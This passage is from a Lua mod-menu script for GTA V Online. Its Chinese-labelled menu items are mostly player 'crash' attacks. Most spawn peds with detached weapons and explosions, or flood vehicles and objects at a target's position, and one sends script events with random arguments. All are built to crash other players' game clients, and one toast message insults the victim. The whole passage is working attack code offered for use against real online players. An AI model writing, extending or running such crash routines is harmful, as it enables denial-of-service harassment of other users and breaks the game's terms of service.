            FIRE.ADD_EXPLOSION(coords.x, coords.y, coords.z, 0, 1.0, false, true, 0.0, true)
            entities.delete_by_handle(ped1)
            wait(1)
        else
            util.toast("Failed to load model. :/")
        end
        
        end)
        
        GTLP(oxtypecrashtoggle, "Crash", {"siemoncrash"}, "", function(on_toggle)
        
        local mdl = util.joaat('IG_SiemonYetarian')
        if request_model(mdl, 2) then
            local pos = players.get_position(PlayerID)
            wait(1)
            local ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PlayerID)
            ped1 = entities.create_ped(26, mdl, ENTITY.GET_OFFSET_FROM_ENTITY_IN_WORLD_COORDS(PLAYER.GET_PLAYER_PED(PlayerID), 0, 0, -3), 0)
            local coords = ENTITY.GET_ENTITY_COORDS(ped1, true)
            WEAPON.GIVE_WEAPON_TO_PED(ped1, util.joaat('WEAPON_HOMINGLAUNCHER'), 9999, true, true)
            local obj
            repeat
                obj = WEAPON.GET_CURRENT_PED_WEAPON_ENTITY_INDEX(ped1, 0)
            until obj ~= 0 or wait()
            ENTITY.DETACH_ENTITY(obj, true, true) 
            wait(1)
            FIRE.ADD_EXPLOSION(coords.x, coords.y, coords.z, 0, 1.0, false, true, 0.0, true)
            entities.delete_by_handle(ped1)
            wait(1)
        else
            util.toast("Failed to load model. :/")
        end
        
        end)

        local oxtypecrashclick = GT(oxtypecrashtoggle, "Task崩溃V2", {}, "")

        GTTG(oxtypecrashclick, "开始崩溃", {"oxallcrash"}, "", function()
            if on_toggle then
            menu.trigger_commands("anticrashcam on")
            menu.trigger_commands("clickcombat" .. players.get_name(PlayerID))
            wait(10)
            menu.trigger_commands("clickbeverlycrash" .. players.get_name(PlayerID))
            wait(10)
            menu.trigger_commands("clickfabiencrash" .. players.get_name(PlayerID))
            wait(10)
            menu.trigger_commands("clickmanuelcrash" .. players.get_name(PlayerID))
            wait(10)
            menu.trigger_commands("clicktaostranslatorcrash" .. players.get_name(PlayerID))
            wait(10)
            menu.trigger_commands("clicktaostranslator2crash" .. players.get_name(PlayerID))
            wait(10)
            menu.trigger_commands("clicktenniscoachcrash" .. players.get_name(PlayerID))
            wait(10)
            menu.trigger_commands("clickwadecrash" .. players.get_name(PlayerID))
            wait(10)
            menu.trigger_commands("clickshophighcrash" .. players.get_name(PlayerID))
            wait(10)
            menu.trigger_commands("clickfranklincrash" .. players.get_name(PlayerID))
            wait(10)
            menu.trigger_commands("clicklazlowcrash" .. players.get_name(PlayerID))
            wait(10)
            menu.trigger_commands("clicksiemoncrash" .. players.get_name(PlayerID))
            wait(1000)
        else
            menu.trigger_commands("clickcombat" .. players.get_name(PlayerID))
            wait(10)
            menu.trigger_commands("clickbeverlycrash" .. players.get_name(PlayerID))
            wait(10)
            menu.trigger_commands("clickfabiencrash" .. players.get_name(PlayerID))
            wait(10)
            menu.trigger_commands("clickmanuelcrash" .. players.get_name(PlayerID))
            wait(10)
            menu.trigger_commands("clicktaostranslatorcrash" .. players.get_name(PlayerID))
            wait(10)
            menu.trigger_commands("clicktaostranslator2crash" .. players.get_name(PlayerID))
            wait(10)
            menu.trigger_commands("clicktenniscoachcrash" .. players.get_name(PlayerID))
            wait(10)
            menu.trigger_commands("clickwadecrash" .. players.get_name(PlayerID))
            wait(10)
            menu.trigger_commands("clickshophighcrash" .. players.get_name(PlayerID))
            wait(10)
            menu.trigger_commands("clickfranklincrash" .. players.get_name(PlayerID))
            wait(10)
            menu.trigger_commands("clicklazlowcrash" .. players.get_name(PlayerID))
            wait(10)
            menu.trigger_commands("clicksiemoncrash" .. players.get_name(PlayerID))
            wait(10)
            menu.trigger_commands("superc")
            wait(10)
            menu.trigger_commands("superc")
            menu.trigger_commands("anticrashcam off")
            end
            end)

        GTLP(oxtypecrashclick, "Crash", {"clickcombat"}, "", function()
            
        local mdl = util.joaat('A_F_M_ProlHost_01')
            if request_model(mdl, 2) then
                local pos = players.get_position(PlayerID)
                wait(1)
                local ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PlayerID)
                ped1 = entities.create_ped(26, mdl, ENTITY.GET_OFFSET_FROM_ENTITY_IN_WORLD_COORDS(PLAYER.GET_PLAYER_PED(PlayerID), 0, 3, 0), 0) 
                local coords = ENTITY.GET_ENTITY_COORDS(ped1, true)
                WEAPON.GIVE_WEAPON_TO_PED(ped1, util.joaat('WEAPON_COMBATMG'), 9999, true, true)
                local obj
                repeat
                    obj = WEAPON.GET_CURRENT_PED_WEAPON_ENTITY_INDEX(ped1, 0)
                until obj ~= 0 or wait()
                ENTITY.DETACH_ENTITY(obj, true, true) 
                wait(1)
                FIRE.ADD_EXPLOSION(coords.x, coords.y, coords.z, 0, 1.0, false, true, 0.0, true)
                entities.delete_by_handle(ped1)
                wait(1)
        else
                util.toast("Failed to load model. :/")
        end
        end)
        
        GTLP(oxtypecrashclick, "Crash", {"clickbeverlycrash"}, "", function()
        
        local mdl = util.joaat('cs_beverly')
            if request_model(mdl, 2) then
                local pos = players.get_position(PlayerID)
                wait(1)
                local ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PlayerID)
                ped1 = entities.create_ped(26, mdl, ENTITY.GET_OFFSET_FROM_ENTITY_IN_WORLD_COORDS(PLAYER.GET_PLAYER_PED(PlayerID), 1, 0, 0), 0)
                local coords = ENTITY.GET_ENTITY_COORDS(ped1, true)
                WEAPON.GIVE_WEAPON_TO_PED(ped1, util.joaat('WEAPON_HOMINGLAUNCHER'), 9999, true, true)
                local obj
                repeat
                    obj = WEAPON.GET_CURRENT_PED_WEAPON_ENTITY_INDEX(ped1, 0)
                until obj ~= 0 or wait()
                ENTITY.DETACH_ENTITY(obj, true, true) 
                wait(1)
                FIRE.ADD_EXPLOSION(coords.x, coords.y, coords.z, 0, 1.0, false, true, 0.0, true)
                entities.delete_by_handle(ped1)
                wait(1)
        else
                util.toast("Failed to load model. :/")
        end
        end)
        
        GTLP(oxtypecrashclick, "Crash", {"clickfabiencrash"}, "", function()
        
        local mdl = util.joaat('cs_fabien')
            if request_model(mdl, 2) then
                local pos = players.get_position(PlayerID)
                wait(1)
                local ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PlayerID)
                ped1 = entities.create_ped(26, mdl, ENTITY.GET_OFFSET_FROM_ENTITY_IN_WORLD_COORDS(PLAYER.GET_PLAYER_PED(PlayerID), 0, 0, 1), 0)
                local coords = ENTITY.GET_ENTITY_COORDS(ped1, true)
                WEAPON.GIVE_WEAPON_TO_PED(ped1, util.joaat('WEAPON_HOMINGLAUNCHER'), 9999, true, true)
                local obj
                repeat
                    obj = WEAPON.GET_CURRENT_PED_WEAPON_ENTITY_INDEX(ped1, 0)
                until obj ~= 0 or wait()
                ENTITY.DETACH_ENTITY(obj, true, true) 
                wait(1)
                FIRE.ADD_EXPLOSION(coords.x, coords.y, coords.z, 0, 1.0, false, true, 0.0, true)
                entities.delete_by_handle(ped1)
                wait(1)
        else
                util.toast("Failed to load model. :/")
        end
        end)
        
        GTLP(oxtypecrashclick, "Crash", {"clickmanuelcrash"}, "", function()
        
        local mdl = util.joaat('cs_manuel')
        if request_model(mdl, 2) then
            local pos = players.get_position(PlayerID)
            wait(1)
            local ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PlayerID)
            ped1 = entities.create_ped(26, mdl, ENTITY.GET_OFFSET_FROM_ENTITY_IN_WORLD_COORDS(PLAYER.GET_PLAYER_PED(PlayerID), 3, 0, 0), 0)
            local coords = ENTITY.GET_ENTITY_COORDS(ped1, true)
            WEAPON.GIVE_WEAPON_TO_PED(ped1, util.joaat('WEAPON_HOMINGLAUNCHER'), 9999, true, true)
            local obj
            repeat
                obj = WEAPON.GET_CURRENT_PED_WEAPON_ENTITY_INDEX(ped1, 0)
            until obj ~= 0 or wait()
            ENTITY.DETACH_ENTITY(obj, true, true) 
            wait(1)
            FIRE.ADD_EXPLOSION(coords.x, coords.y, coords.z, 0, 1.0, false, true, 0.0, true)
            entities.delete_by_handle(ped1)
            wait(1)
        else
            util.toast("Failed to load model. :/")
        end
        
        end)
        
        
        GTLP(oxtypecrashclick, "Crash", {"clicktaostranslatorcrash"}, "", function()
        
        local mdl = util.joaat('cs_taostranslator')
        if request_model(mdl, 2) then
            local pos = players.get_position(PlayerID)
            wait(1)
            local ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PlayerID)
            ped1 = entities.create_ped(26, mdl, ENTITY.GET_OFFSET_FROM_ENTITY_IN_WORLD_COORDS(PLAYER.GET_PLAYER_PED(PlayerID), 0, 3, 0), 0)
            local coords = ENTITY.GET_ENTITY_COORDS(ped1, true)
            WEAPON.GIVE_WEAPON_TO_PED(ped1, util.joaat('WEAPON_HOMINGLAUNCHER'), 9999, true, true)
            local obj
            repeat
                obj = WEAPON.GET_CURRENT_PED_WEAPON_ENTITY_INDEX(ped1, 0)
            until obj ~= 0 or wait()
            ENTITY.DETACH_ENTITY(obj, true, true) 
            wait(1)
            FIRE.ADD_EXPLOSION(coords.x, coords.y, coords.z, 0, 1.0, false, true, 0.0, true)
            entities.delete_by_handle(ped1)
            wait(1)
        else
            util.toast("Failed to load model. :/")
        end
        
        end)
        
        GTLP(oxtypecrashclick, "Crash", {"clicktaostranslator2crash"}, "", function()
        
        local mdl = util.joaat('cs_taostranslator2')
        if request_model(mdl, 2) then
            local pos = players.get_position(PlayerID)
            wait(1)
            local ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PlayerID)
            ped1 = entities.create_ped(26, mdl, ENTITY.GET_OFFSET_FROM_ENTITY_IN_WORLD_COORDS(PLAYER.GET_PLAYER_PED(PlayerID), 0, 0, 3), 0)
            local coords = ENTITY.GET_ENTITY_COORDS(ped1, true)
            WEAPON.GIVE_WEAPON_TO_PED(ped1, util.joaat('WEAPON_HOMINGLAUNCHER'), 9999, true, true)
            local obj
            repeat
                obj = WEAPON.GET_CURRENT_PED_WEAPON_ENTITY_INDEX(ped1, 0)
            until obj ~= 0 or wait()
            ENTITY.DETACH_ENTITY(obj, true, true) 
            wait(1)
            FIRE.ADD_EXPLOSION(coords.x, coords.y, coords.z, 0, 1.0, false, true, 0.0, true)
            entities.delete_by_handle(ped1)
            wait(1)
        else
            util.toast("Failed to load model. :/")
        end
        
        end)
        
        GTLP(oxtypecrashclick, "Crash", {"clicktenniscoachcrash"}, "", function()
        
        local mdl = util.joaat('cs_tenniscoach')
        if request_model(mdl, 2) then
            local pos = players.get_position(PlayerID)
            wait(1)
            local ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PlayerID)
            ped1 = entities.create_ped(26, mdl, ENTITY.GET_OFFSET_FROM_ENTITY_IN_WORLD_COORDS(PLAYER.GET_PLAYER_PED(PlayerID), -1, 0, 0), 0)
            local coords = ENTITY.GET_ENTITY_COORDS(ped1, true)
            WEAPON.GIVE_WEAPON_TO_PED(ped1, util.joaat('WEAPON_HOMINGLAUNCHER'), 9999, true, true)
            local obj
            repeat
                obj = WEAPON.GET_CURRENT_PED_WEAPON_ENTITY_INDEX(ped1, 0)
            until obj ~= 0 or wait()
            ENTITY.DETACH_ENTITY(obj, true, true) 
            wait(1)
            FIRE.ADD_EXPLOSION(coords.x, coords.y, coords.z, 0, 1.0, false, true, 0.0, true)
            entities.delete_by_handle(ped1)
            wait(1)
        else
            util.toast("Failed to load model. :/")
        end
        
        end)
        
        GTLP(oxtypecrashclick, "Crash", {"clickwadecrash"}, "", function()
        
        local mdl = util.joaat('cs_wade')
        if request_model(mdl, 2) then
            local pos = players.get_position(PlayerID)
            wait(1)
            local ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PlayerID)
            ped1 = entities.create_ped(26, mdl, ENTITY.GET_OFFSET_FROM_ENTITY_IN_WORLD_COORDS(PLAYER.GET_PLAYER_PED(PlayerID), 0, -1, 0), 0)
            local coords = ENTITY.GET_ENTITY_COORDS(ped1, true)
            WEAPON.GIVE_WEAPON_TO_PED(ped1, util.joaat('WEAPON_HOMINGLAUNCHER'), 9999, true, true)
            local obj
            repeat
                obj = WEAPON.GET_CURRENT_PED_WEAPON_ENTITY_INDEX(ped1, 0)
            until obj ~= 0 or wait()
            ENTITY.DETACH_ENTITY(obj, true, true) 
            wait(1)
            FIRE.ADD_EXPLOSION(coords.x, coords.y, coords.z, 0, 1.0, false, true, 0.0, true)
            entities.delete_by_handle(ped1)
            wait(1)
        else
            util.toast("Failed to load model. :/")
        end
        
        end)
        
        GTLP(oxtypecrashclick, "Crash", {"clickshophighcrash"}, "", function()
        
        local mdl = util.joaat('S_F_M_Shop_HIGH')
        if request_model(mdl, 2) then
            local pos = players.get_position(PlayerID)
            wait(1)
            local ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PlayerID)
            ped1 = entities.create_ped(26, mdl, ENTITY.GET_OFFSET_FROM_ENTITY_IN_WORLD_COORDS(PLAYER.GET_PLAYER_PED(PlayerID), 0, 0, -1), 0)
            local coords = ENTITY.GET_ENTITY_COORDS(ped1, true)
            WEAPON.GIVE_WEAPON_TO_PED(ped1, util.joaat('WEAPON_HOMINGLAUNCHER'), 9999, true, true)
            local obj
            repeat
                obj = WEAPON.GET_CURRENT_PED_WEAPON_ENTITY_INDEX(ped1, 0)
            until obj ~= 0 or wait()
            ENTITY.DETACH_ENTITY(obj, true, true) 
            wait(1)
            FIRE.ADD_EXPLOSION(coords.x, coords.y, coords.z, 0, 1.0, false, true, 0.0, true)
            entities.delete_by_handle(ped1)
            wait(1)
        else
            util.toast("Failed to load model. :/")
        end
        
        end)
        
        GTLP(oxtypecrashclick, "Crash", {"clickfranklincrash"}, "", function()
        
        local mdl = util.joaat('P_Franklin_02')
        if request_model(mdl, 2) then
            local pos = players.get_position(PlayerID)
            wait(1)
            local ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PlayerID)
            ped1 = entities.create_ped(26, mdl, ENTITY.GET_OFFSET_FROM_ENTITY_IN_WORLD_COORDS(PLAYER.GET_PLAYER_PED(PlayerID), -3, 0, 0), 0)
            local coords = ENTITY.GET_ENTITY_COORDS(ped1, true)
            WEAPON.GIVE_WEAPON_TO_PED(ped1, util.joaat('WEAPON_HOMINGLAUNCHER'), 9999, true, true)
            local obj
            repeat
                obj = WEAPON.GET_CURRENT_PED_WEAPON_ENTITY_INDEX(ped1, 0)
            until obj ~= 0 or wait()
            ENTITY.DETACH_ENTITY(obj, true, true) 
            wait(1)
            FIRE.ADD_EXPLOSION(coords.x, coords.y, coords.z, 0, 1.0, false, true, 0.0, true)
            entities.delete_by_handle(ped1)
            wait(1)
        else
            util.toast("Failed to load model. :/")
        end
        
        end)
        
        GTLP(oxtypecrashclick, "Crash", {"clicklazlowcrash"}, "", function()
        
        local mdl = util.joaat('CS_Lazlow')
        if request_model(mdl, 2) then
            local pos = players.get_position(PlayerID)
            wait(1)
            local ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PlayerID)
            ped1 = entities.create_ped(26, mdl, ENTITY.GET_OFFSET_FROM_ENTITY_IN_WORLD_COORDS(PLAYER.GET_PLAYER_PED(PlayerID), 0, -3, 0), 0)
            local coords = ENTITY.GET_ENTITY_COORDS(ped1, true)
            WEAPON.GIVE_WEAPON_TO_PED(ped1, util.joaat('WEAPON_HOMINGLAUNCHER'), 9999, true, true)
            local obj
            repeat
                obj = WEAPON.GET_CURRENT_PED_WEAPON_ENTITY_INDEX(ped1, 0)
            until obj ~= 0 or wait()
            ENTITY.DETACH_ENTITY(obj, true, true) 
            wait(1)
            FIRE.ADD_EXPLOSION(coords.x, coords.y, coords.z, 0, 1.0, false, true, 0.0, true)
            entities.delete_by_handle(ped1)
            wait(1)
        else
            util.toast("Failed to load model. :/")
        end
        
        end)
        
        GTLP(oxtypecrashclick, "Crash", {"clicksiemoncrash"}, "", function()
        
        local mdl = util.joaat('IG_SiemonYetarian')
        if request_model(mdl, 2) then
            local pos = players.get_position(PlayerID)
            wait(1)
            local ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PlayerID)
            ped1 = entities.create_ped(26, mdl, ENTITY.GET_OFFSET_FROM_ENTITY_IN_WORLD_COORDS(PLAYER.GET_PLAYER_PED(PlayerID), 0, 0, -3), 0)
            local coords = ENTITY.GET_ENTITY_COORDS(ped1, true)
            WEAPON.GIVE_WEAPON_TO_PED(ped1, util.joaat('WEAPON_HOMINGLAUNCHER'), 9999, true, true)
            local obj
            repeat
                obj = WEAPON.GET_CURRENT_PED_WEAPON_ENTITY_INDEX(ped1, 0)
            until obj ~= 0 or wait()
            ENTITY.DETACH_ENTITY(obj, true, true) 
            wait(1)
            FIRE.ADD_EXPLOSION(coords.x, coords.y, coords.z, 0, 1.0, false, true, 0.0, true)
            entities.delete_by_handle(ped1)
            wait(1)
        else
            util.toast("Failed to load model. :/")
        end
        end)

local objectc = GT(PlayerMainMenu, "物体类型崩溃", {}, "")
local amount = 200
local delay = 100

GTLuaScript.slider(objectc, "生成", {"spawnammount"}, "", 0, 2500, amount, 50, function(val)
    amount = val
end)

GTLuaScript.slider(objectc, "延迟", {"spawndelay"}, "", 0, 500, delay, 10, function(val)
    delay = val
end)

GTLuaScript.list_select(objectc, "物体类型", {"objectmodel"}, "", object_names, 1, function(val)
    selectedobject = all_objects[val]
end)

GTLP(objectc, "发送", {"sendobjects"}, "", function()
    
    local pped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PlayerID)
    local ppos = ENTITY.GET_ENTITY_COORDS(pped, true)
    local myped = PLAYER.PLAYER_PED_ID()
    local mypos = ENTITY.GET_ENTITY_COORDS(myped, true)
    local objects = {}
    for i = 1, amount do
        if not players.exists(PlayerID) then
            break
        end
        ppos = ENTITY.GET_ENTITY_COORDS(pped, true)
        ppos.x = ppos.x + math.random(-1, 1)
        ppos.y = ppos.y + math.random(-1, 1)
        objects[#objects+1] = CreateObject(selectedobject, ppos)
        FIRE.ADD_EXPLOSION(ppos.x, ppos.y, ppos.z, 0, 1.0, false, true, 0.0, false)
        wait(delay)
    end
    STREAMING.SET_MODEL_AS_NO_LONGER_NEEDED(selectedobject)
    if players.exists(PlayerID) then
        wait(2500)
    end
    ClearEntities(objects)
    ENTITY.SET_ENTITY_COORDS_NO_OFFSET(myped, mypos.x, mypos.y, mypos.z, false, false, false)
    wait(50)
    local allobjs = entities.get_all_objects_as_handles()
    for i, object in ipairs(allobjs) do
        if ENTITY.GET_ENTITY_MODEL(object) == 3026082634 or ENTITY.GET_ENTITY_MODEL(object) == selectedobject then
            entities.delete_by_handle(object)
        end
    end
    wait(50)
    
    util.toast("Crash Finished.")
end)

brohug = GT(PlayerMainMenu, "兄弟崩溃", {}, "")
SE_bruhcount = 30
menu.click_slider(brohug, "兄弟数量", {"bruhcount"}, "", 1, 1000, 30, 1, function(count)
SE_bruhcount = count
end)
GTAC(brohug, "兄弟崩溃", {"brotakecc"}, "", function ()
local targetcoords = getEntityCoords(getPlayerPed(pid))
requestModel(-692292317)
while not hasModelLoaded(-692292317) do wait() end
local vehTable = {}
for i = 1, SE_bruhcount do
vehTable[i] = VEHICLE.CREATE_VEHICLE(-692292317, targetcoords.x, targetcoords.y, targetcoords.z+ 1*i, 0, true, true, true)
wait(1)
ENTITY.SET_ENTITY_INVINCIBLE(vehTable[i], true)
end
util.toast("5秒后发送清理信号，请稍等!")
wait(5000)
util.toast("开始清理!")
for i=1, #vehTable do
if ENTITY.DOES_ENTITY_EXIST(vehTable[i]) then
local buffer = memory.alloc(4)
memory.write_int(buffer, vehTable[i])
ENTITY.DELETE_ENTITY(buffer)
memory.free(buffer)
end
end
STREAMING.SET_MODEL_AS_NO_LONGER_NEEDED(-692292317)
end)

hidecrash = GT(PlayerMainMenu, "已被隐藏的崩溃选项", {}, "")
oldcrash = GT(PlayerMainMenu, "经典老牌崩溃", {}, "") 

anim_request = function(hash)
    STREAMING.REQUEST_ANIM_DICT(hash)
    while not STREAMING.HAS_ANIM_DICT_LOADED(hash) do
    wait()
    end
end

--

GTTG(updates, "Rock崩溃", {"rockcrash"}, "", function(loop)
    huoche = loop
    while huoche do
    wait(100)
    menu.trigger_commands("kill".. PLAYER.GET_PLAYER_NAME(PlayerID))
    menu.trigger_commands("sendtojob".. PLAYER.GET_PLAYER_NAME(PlayerID))
    menu.trigger_commands("choke".. PLAYER.GET_PLAYER_NAME(PlayerID))
    --menu.trigger_commands("flashcrash".. PLAYER.GET_PLAYER_NAME(PlayerID))
    menu.trigger_commands("ngcrash".. PLAYER.GET_PLAYER_NAME(PlayerID))
    menu.trigger_commands("footlettuce".. PLAYER.GET_PLAYER_NAME(PlayerID))
    menu.trigger_commands("steamroll".. PLAYER.GET_PLAYER_NAME(PlayerID))
    local stupid_pos <const> = ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED(PlayerID)) 
    stupid_pos.y = stupid_pos.y - 2
    local mod_vel = {-692292317,-1323100960,4244420235,444583674,184361638,642617954,586013744,920453016,3186376089,1030400667,240201337,
    1492612435, 3517794615, 3889340782, 3253274834,970385471, 2336777441, 184361638, 1030400667, 920453016, 240201337, 642617954, 
    586013744, 868868440, 1550581940, 3334677549, 3186376089,0xc5dd6967,0x58f77553,0x1446590a}       
    for _spawn, value in pairs(mod_vel) do
    local s = {}
    for i = 1, 10, 1 do  
    s[_spawn] = CreateVehicle(value,stupid_pos,0)
    ENTITY.SET_ENTITY_AS_MISSION_ENTITY(Entity, true, false)
    wait(0)
    end
    end
    wait(100)
    local ar_vs = entities.get_all_vehicles_as_handles()
    for key, value in pairs(ar_vs) do
    entities.delete_by_handle(value)
    end
    end
end)

fireworklove = GTAC(updates, "寂寞烟火", {"coastline"}, coasttext, function()
    if PlayerID == players.user() then 
    gtoast("[GRANDTOURINGVIP]\n请多爱护自己一点儿,去找坏人惩恶扬善!")
    else
    menu.trigger_commands("levitate on")
    menu.trigger_commands("tphigh")
    
    wait(1000)
    fireworkcrash(PlayerID)
    wait(0)
    rocketkoko(PlayerID)
    wait(0)
    menu.trigger_commands("givesh".. PLAYER.GET_PLAYER_NAME(PlayerID))
    wait(0)
    commandsc(PlayerID)
    wait(0)
    weedfire(PlayerID)

    gtoast("请等待10秒...")
    wait(10000)
    gtoast("[GRANDTOURINGVIP]\n崩溃已结束,允许再次点击")
    menu.trigger_commands("levitate off")
    menu.trigger_commands("tplsia")
    wait(100)
    menu.trigger_commands("superc")
    end
end)

GTAC(updates,"Twelve 12", {"12crash"}, "建议长按使用喔~", function()
    util.toast("崩溃已发出")
    menu.trigger_commands("steamroll" .. PLAYER.GET_PLAYER_NAME(PlayerID))
    if pid ~= players.user() then
        local ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PlayerID)
        local pos = players.get_position(PlayerID)
        local mdl = util.joaat("mp_m_freemode_01")
        local veh_mdl = util.joaat("taxi")
        util.request_model(veh_mdl)
        util.request_model(mdl)
            for i = 1, 10 do
                if not players.exists(PlayerID) then
                    return
                end
                local veh = entities.create_vehicle(veh_mdl, pos, 0)
                local jesus = entities.create_ped(2, mdl, pos, 0)
                PED.SET_PED_INTO_VEHICLE(jesus, veh, -1)
                wait(100)
                TASK.TASK_VEHICLE_HELI_PROTECT(jesus, veh, ped, 10.0, 0, 10, 0, 0)
                wait(1000)
                entities.delete_by_handle(jesus)
                entities.delete_by_handle(veh)
            end  
        STREAMING.SET_MODEL_AS_NO_LONGER_NEEDED(mdl)
        STREAMING.SET_MODEL_AS_NO_LONGER_NEEDED(veh_mdl)
    end
end)

GTAC(updates, "船船崩", {"anowq"}, "喵喵喵~喵喵~喵~", function ()
    local rid = players.get_rockstar_id(players.user()) --获取玩家rid
    if rid ~= 162683168 then --如果rid不等于这个rid
        gtoast("你不够聪明,多喝六个核弹\n崩溃未成功执行") --通知
        return --中断执行
    end --结束
    wait(100) --等待
    gtoast("GRANDTOURINGVIP\n正在引导...") --通知
    menu.trigger_commands("steamroll".. PLAYER.GET_PLAYER_NAME(PlayerID))
    local pos <const> = ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED(PlayerID)) --获取目标玩家PED位置
    pos.z = pos.z+1 --z轴+1
    local ship = {-1043459709, -276744698, 1861786828, -2100640717, 400514754,} --需要用到的船模型哈希
    for crash, value in pairs (ship) do --定义一个为crash的集合函数，用上了value代表所有，用上了ship引用上面的哈希
    local c = {} --定义一个变量状态，必不可少
        for i = 1, 10, 1 do --定义循环十次
            c[crash] = CreateVehicle(value, pos, 0) --状态加上名为crash的崩溃，用上了CreateVehicle的函数，用value引用所有模型，pos为目标位置
            local obj = OBJECT.CREATE_OBJECT(0x9CF21E0F, pos.x, pos.y, pos.z, true, true, false) --对目标玩家创建一个无效模型
            ENTITY.SET_ENTITY_AS_MISSION_ENTITY(value, true, false) --设置为任务实体
            ENTITY.SET_ENTITY_AS_MISSION_ENTITY(obj, true, false) --设置为任务实体
            wait(0) --等待
        end --结束
    end --结束
    wait(100) --等待100ms
    local handle = entities.get_all_vehicles_as_handles() --定义一个名为handle的函数，用于获取所有车辆控制权
    for clear, value in pairs(handle) do --定义一个名为clear的函数，包括value为用上所有模型，handle为刚刚定义的车辆控制权函数
        entities.delete_by_handle(value) --删除所有船的模型
        wait(2000)
        entities.delete_object(obj) --删除无效实体
    end --结束
end)

-- GT Functions
local OFNKkdmf = 5
GT = {
int = function(global, value)
local radress = memory.script_global(global)
memory.write_int(radress, value)
end,

anim_request = function(hash)
STREAMING.REQUEST_ANIM_DICT(hash)
while not STREAMING.HAS_ANIM_DICT_LOADED(hash) do
wait()
end
end,

request_model = function(hash, timeout)
timeout = timeout or 3
STREAMING.REQUEST_MODEL(hash)
local end_time = os.time() + timeout
repeat
wait()
until STREAMING.HAS_MODEL_LOADED(hash) or os.time() >= end_time
return STREAMING.HAS_MODEL_LOADED(hash)
end,

BlockSyncs = function(player_id, callback)
for _, i in ipairs(players.list(false, true, true)) do
if i ~= player_id then
local outSync = menu.ref_by_rel_path(menu.player_root(i), "Outgoing Syncs>Block")
menu.trigger_command(outSync, "on")
end
end
wait(10)
callback()
for _, i in ipairs(players.list(false, true, true)) do
if i ~= player_id then
local outSync = menu.ref_by_rel_path(menu.player_root(i), "Outgoing Syncs>Block")
menu.trigger_command(outSync, "off")
end
end
end,

power_crash = function(player_id)
for i, v in pairs(ryze.kicks) do
arg1 = math.random(-2147483647, 2147483647)
arg2 = math.random(-1987543, 1987543)
arg3 = math.random(-19, 19)
util.trigger_script_event(1 << player_id, {v, player_id, arg1, arg3, arg2, arg2, arg1, arg1, arg3, arg3, arg1, arg3, arg2, arg3, arg1, arg1, arg2, arg3, arg1, arg2, arg2, arg3, arg3})
wait()
end
util.toast("崩溃已经发送给这个傻逼 " .. PLAYER.GET_PLAYER_NAME(player_id))
end
}
GT = GTluaScript.list
lovecrash = GT(updates, "恋爱循环", {}, "")
GTLP(lovecrash, "恋爱循环", {"lovecrash"}, "孤独且温柔", function(on_toggle)
    if on_toggle then
        wait(100)
        menu.trigger_commands("loveclick".. PLAYER.GET_PLAYER_NAME(PlayerID))
        wait(100)
        menu.trigger_commands("steamroll".. PLAYER.GET_PLAYER_NAME(PlayerID))
        wait(100)
        menu.trigger_commands("trollcrash".. PLAYER.GET_PLAYER_NAME(PlayerID))
    else
        wait(100)
        menu.trigger_commands("loveclick".. PLAYER.GET_PLAYER_NAME(PlayerID))
        wait(100)
        menu.trigger_commands("steamroll".. PLAYER.GET_PLAYER_NAME(PlayerID))
        wait(100)
        menu.trigger_commands("trollcrash".. PLAYER.GET_PLAYER_NAME(PlayerID))
    end
end)

GTAC(lovecrash, "一见钟情", {'loveclick'}, "一次次的孤独", function()
    local player = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PlayerID)
    local mdl = util.joaat("cs_taostranslator2")
    while not STREAMING.HAS_MODEL_LOADED(mdl) do
        STREAMING.REQUEST_MODEL(mdl)
        wait(5)
    end
    local ped = {}
    for i = 1, 10 do 
        local coord = ENTITY.GET_ENTITY_COORDS(player, true)
        local pedcoord = ENTITY.GET_ENTITY_COORDS(ped[i], false)
        ped[i] = entities.create_ped(0, mdl, coord, 0)
        WEAPON.GIVE_DELAYED_WEAPON_TO_PED(ped[i], 0xB1CA77B1, 0, true)
        WEAPON.SET_PED_GADGET(ped[i], 0xB1CA77B1, true)
        ENTITY.SET_ENTITY_VISIBLE(ped[i], true)
        wait(25)
    end
    wait(2500)
    for i = 1, 10 do
        entities.delete_by_handle(ped[i])
        wait(25)
    end
end)

GTAC(hidecrash, "拖行崩溃", {"trollcrash"}, "", function(on_toggle)
        local id = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PlayerID)
        local playerpos = ENTITY.GET_ENTITY_COORDS(id)
        playerpos.z = playerpos.z + 3
        local khanjali = util.joaat("armytrailer2")
        STREAMING.REQUEST_MODEL(khanjali)
        while not STREAMING.HAS_MODEL_LOADED(khanjali) do
        wait()
        end
        local vehicle1 = entities.create_vehicle(khanjali, ENTITY.GET_OFFSET_FROM_ENTITY_IN_WORLD_COORDS(PLAYER.GET_PLAYER_PED(PlayerID), 0, 2, 3), ENTITY.GET_ENTITY_HEADING(id))
        ENTITY.ATTACH_ENTITY_TO_ENTITY(vehicle1, id, playerpos, 0, 0, 0, 0, 0, 0, 0, 0, true, true, false, 0, true)
        ENTITY.SET_ENTITY_VISIBLE(vehicle1, true, 0)
        local vehicle2 = entities.create_vehicle(khanjali, playerpos, 0)
        ENTITY.ATTACH_ENTITY_TO_ENTITY(vehicle1, id, playerpos, 0, 0, 0, 0, 0, 0, 0, 0, true, true, false, 0, true)
        ENTITY.SET_ENTITY_VISIBLE(vehicle1, true, 0)
        local vehicle3 = entities.create_vehicle(khanjali, playerpos, 0)
